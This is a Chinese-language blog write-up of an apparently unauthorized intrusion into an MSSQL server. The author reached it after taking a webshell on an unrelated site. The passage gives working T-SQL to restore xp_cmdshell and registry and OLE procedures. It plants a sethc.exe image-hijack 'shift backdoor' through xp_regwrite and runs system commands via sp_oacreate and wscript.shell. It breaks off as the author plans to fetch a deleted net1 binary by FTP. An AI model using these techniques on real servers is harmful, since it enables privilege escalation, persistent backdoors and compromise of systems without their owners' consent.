今天下午,貌似没有什么事情看到有朋友在问一个网站的拿shell问题就进去帮帮忙最后拿下了webshell,贪心是我一贯的风格,拿到shell之后就想到了提权,然后服务器上某个目录翻到了mssql连接文件,于是有了这个文章(虽然与原来的网站服务器不是同一台,但是本来就是随便玩玩的),如果不是我技术太烂的话拿真的是很NX防护服务器。

OK话不多说了,进入主题。

本来以为很简单直接用工具连接了,随便执行一个whoami命令就出了问题。如图


Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 这个是老对手了,拿出sql查询分析器

这个时候我不知道大家是怎样对付的,但是我一般是添加shift后门了。

有人会问难道是什么copy什么到sethc?

no那太没有难度了,而且怎么执行呢,我的方法是加一个映像劫持。

代码如下


--------------------------------------------------------------------------------
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0  
begin
raiserror(15002,-1,-1,sp_addextendedproc)  
return (1)  
end
dbcc addextendedproc( @functname, @dllname)  
return (0) -- sp_addextendedproc
GO
use master  
exec sp_addextendedproc xp_cmdshell,xp_cmdshell.dll  
exec sp_addextendedproc xp_dirtree,xpstar.dll  
exec sp_addextendedproc xp_enumgroups,xplog70.dll  
exec sp_addextendedproc xp_fixeddrives,xpstar.dll  
exec sp_addextendedproc xp_loginconfig,xplog70.dll  
exec sp_addextendedproc xp_enumerrorlogs,xpstar.dll  
exec sp_addextendedproc xp_getfiledetails,xpstar.dll  
exec sp_addextendedproc sp_OACreate,odsole70.dll  
exec sp_addextendedproc sp_OADestroy,odsole70.dll  
exec sp_addextendedproc sp_OAGetErrorInfo,odsole70.dll  
exec sp_addextendedproc sp_OAGetProperty,odsole70.dll  
exec sp_addextendedproc sp_OAMethod,odsole70.dll  
exec sp_addextendedproc sp_OASetProperty,odsole70.dll  
exec sp_addextendedproc sp_OAStop,odsole70.dll  
exec sp_addextendedproc xp_regaddmultistring,xpstar.dll  
exec sp_addextendedproc xp_regdeletekey,xpstar.dll  
exec sp_addextendedproc xp_regdeletevalue,xpstar.dll  
exec sp_addextendedproc xp_regenumvalues,xpstar.dll  
exec sp_addextendedproc xp_regread,xpstar.dll  
exec sp_addextendedproc xp_regremovemultistring,xpstar.dll  
exec sp_addextendedproc xp_regwrite,xpstar.dll  
exec sp_addextendedproc xp_availablemedia,xpstar.dll
--------------------------------------------------------------------------------
//先讲所有的存储过程都恢复一遍省得麻烦
然后执行
--------------------------------------------------------------------------------
xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe,
Debugger,REG_SZ,C:WINDOWSsystem32 askmgr.exe

--------------------------------------------------------------------------------
这句代码的意思的将sethc劫持为任务管理器,结果如图

然后我们可以用这句代码查查有没有劫持成功exec master..xp_regread HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe,Debugger结果如图

对某一NX服务器的MSSQL渗透提权


  

劫持成功

原来以为这次渗透就此结束没想到远程登录之后麻烦不断。

别说敲5下shift了 500下都敲了硬是什么都没有,然后我以为是taskgmr被设置了权限又换了explorer跟cmd发现都不行,这样的结果要吗是都被设置了权限要吗是sethc被设置了权限,那只能另寻他路了。

我想到既然错误是Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)

那么也就是说cmd被删除了或者cmd被限制了权限

我利用工具查了一下cmd存在也就是说被限制了权限,那么我们怎么突破呢?

我的方法是利用sp_oacreate跟sp_oamethod这两个存储过程。

用sp_oacreate执行cmd可以定义cmd路径但是不能看到回显,其实我们只要在命令后面加个>x.txt这样就可以读文件看到回显了。然后我先是执行了


--------------------------------------------------------------------------------
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod
@shell,run,null,c:windowssystem32command.com /c whoami >c:1.txt
--------------------------------------------------------------------------------
这个命令然后去c:1.txt查看确定是system权限没有被降权

然后我又执行了

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod
@shell,run,null,c:windowssystem32command.com /c net user >c:1.txt


这个时候1.txt就不能读取了,想来是net权限禁止了

后来还发现net1被删除了。

我似乎又一次陷入绝境

然后我就想到了写文件执行然后ftp下载一个net1到服务器上

于是利用了命令写文件